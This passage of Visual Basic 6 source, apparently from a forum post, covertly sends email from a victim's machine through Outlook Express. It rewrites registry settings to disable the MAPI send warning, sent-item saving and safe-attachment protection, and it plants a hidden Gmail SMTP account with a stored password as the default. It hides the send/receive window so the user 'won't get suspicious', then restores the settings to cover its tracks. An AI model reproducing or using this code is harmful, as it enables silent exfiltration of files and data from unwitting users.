Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\6.0\Mail", "Warn on Mapi Send", "00000000") ' 0 = disable 1 = enable
'Second lets make sure our e-mail does not go into sent items!
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\6.0\Mail", "SaveInSentItems", "00000000") ' 0 = disable 1 = enable
'Second turn off save attatchments to send any file you want!
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\6.0\Mail", "Safe Attachments", "00000000") ' 0 = disable 1 = enable
'immediatley send mail
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\6.0\Mail", "Send Mail Immediately", "00000001") ' 0 = disable 1 = enable
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''
'Lets create an account automatically. If an account doesn't exist_
'we will use a special account!!
'''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''
'Outlook Express /Microsoft/Accounts
'PLEAE NOTE: Settings are set up for
کد:
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] and POP3
'If the user does not have an outlook express account, we create ONE!!!!!!!
'AND WE USE THAT ACCOUNT TO SEND MAIL!
'''''''''''''''''''''
'REG CREATE KEY
Dim SMTP As Long
Dim POP3 As Long
SMTP = BigDecToHex("465")
POP3 = BigDecToHex("995")
Call CreateRegistryKey(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009")

DoEvents
'REG_DWORD
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "Connection Type", "00000003")
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "Leave Mail On Server", "00000000")
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Prompt for Password", "00000000")
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Skip Account", "00000000")
'Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Timeout", "0000003c")
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Prompt for Password", "00000000")
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Split Messages", "00000000")
'Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Timeout", "0000003c")
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Use Sicily", "00000003")
DoEvents
''''''''''''''''''''''''''''THESE MUST BE IN ORDER OR IT WONT WORK!!'''''''''''''''''''''
'Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Port", "00000" & SMTP)
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Port", "00000" & POP3)
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Secure Connection", "00000001")
Call SaveDword(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Secure Connection", "00000001")
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''''''''''''''
'REG_STRING
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "Account Name", "pop.gmail.com")
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 User Name", " [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] ")
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Display Name", "0e.")
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Email Address", " [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] ")
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Server", "smtp.gmail.com")
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP User Name", " [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] ")
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Server", "pop.gmail.com")
Dim sRegFile As String
Dim sTmp As String
Dim ByteArray() As Byte
Dim tmpArray() As String
Dim i As Integer
tmpArray = Split(txtbinary, " ")

ReDim ByteArray(UBound(tmpArray) + 1)
For i = LBound(tmpArray) To (UBound(tmpArray))
ByteArray(i) = CByte("&h" & Right(tmpArray(i), 2))
Next i
oReg.SetRegistryValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "SMTP Password2", ByteArray(), eByteArray
oReg.SetRegistryValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009", "POP3 Password2", ByteArray(), eByteArray
'set account to default.
Text4.Text = GetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager", "Default Mail Account")
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager", "Default Mail Account", "00000009")
End Sub
Private Sub Form_Terminate()
On Error Resume Next
'if there is an open session then lets close the session
MAPISession1.SignOff
'lets remove the default outlook account from outlook
'lets set the default e-mail back to normal.
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager", "Default Mail Account", Text4.Text)
Call DeleteRegistryKey(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009")
DoEvents
End
End Sub
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
MAPISession1.SignOff
'lets remove the default outlook account
Call SetRegValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager", "Default Mail Account", Text4.Text)
Call DeleteRegistryKey(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\00000009")
DoEvents
End
End Sub
Private Sub Label4_Click()
End Sub
Private Sub Timer1_Timer()
'''''''''''''''''''''''''''''
'This was very tricky to pull off.
'We have to hide the send/recieve window from displaying.
'This way the user does not see anything on the screen.
'''''''''''''''''''''''''''''
Dim WinWnd As Long, Ret As String, retVal As Long, lpClassName As String
Ret = "Outlook Express"
WinWnd = FindWindow(vbNullString, Ret)
If WinWnd = 0 Then: Exit Sub
ShowWindow WinWnd, SW_HIDE
lpClassName = Space(256)
retVal = GetClassName(WinWnd, lpClassName, 256)
DoEvents
PostMessage WinWnd, SW_HIDE, 0&, 0&
End Sub
Private Sub Timer2_Timer()
'Wait ten seconds for e-mail to send
'Then set hiding of send/recieve timer off_
'User won't get suspicious
'Then we set the registry back to normal!
'This way the user recieves sent items
Timer1.Enabled = False

Dim IdententityBackup As String
IdententityBackup = GetRegValue(HKEY_CURRENT_USER, "Identities", "Last User ID")
Debug.Print GetRegValue(HKEY_CURRENT_USER, "Identities", "Last User ID")
'''''''''''''''''''''
'Outlook Express 4.0
'''''''''''''''''''''
'NOTE: If you fiddle with these settings, the program most likely_
'will not function like it is suppose to, I suggest leaving the settings_
'how they are now and not changing them.
'''''''''''''''''''''''''''''''''''''''''''''
'lets set save sent items back on
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & IdententityBackup & "\Software\Microsoft\Outlook Express\4.0\Mail", "SaveInSentItems", "00000001") ' 0 = disable 1 = enable
'turn on safe attatchments
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & IdententityBackup & "\Software\Microsoft\Outlook Express\4.0\Mail", "Safe Attachments", "00000001") ' 0 = disable 1 = enable
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''
'Outlook Express 5.0
'''''''''''''''''''''
'NOTE: If you fiddle with these settings, the program most likely_
'will not function like it is suppose to, I suggest leaving the settings_
'how they are now and not changing them.
'''''''''''''''''''''''''''''''''''''''''''''
'lets set save sent items back on
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & IdententityBackup & "\Software\Microsoft\Outlook Express\5.0\Mail", "SaveInSentItems", "00000001") ' 0 = disable 1 = enable
'turn on safe attatchments
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & IdententityBackup & "\Software\Microsoft\Outlook Express\5.0\Mail", "Safe Attachments", "00000001") ' 0 = disable 1 = enable
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''
'Outlook Express 6.0
'''''''''''''''''''''
'NOTE: If you fiddle with these settings, the program most likely_
'will not function like it is suppose to, I suggest leaving the settings_
'how they are now and not changing them.
'''''''''''''''''''''''''''''''''''''''''''''
'lets set save sent items back on
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & IdententityBackup & "\Software\Microsoft\Outlook Express\6.0\Mail", "SaveInSentItems", "00000001") ' 0 = disable 1 = enable
'turn on safe attatchments
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & IdententityBackup & "\Software\Microsoft\Outlook Express\6.0\Mail", "Safe Attachments", "00000001") ' 0 = disable 1 = enable
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''''''''
DoEvents
Timer2.Enabled = False
End Sub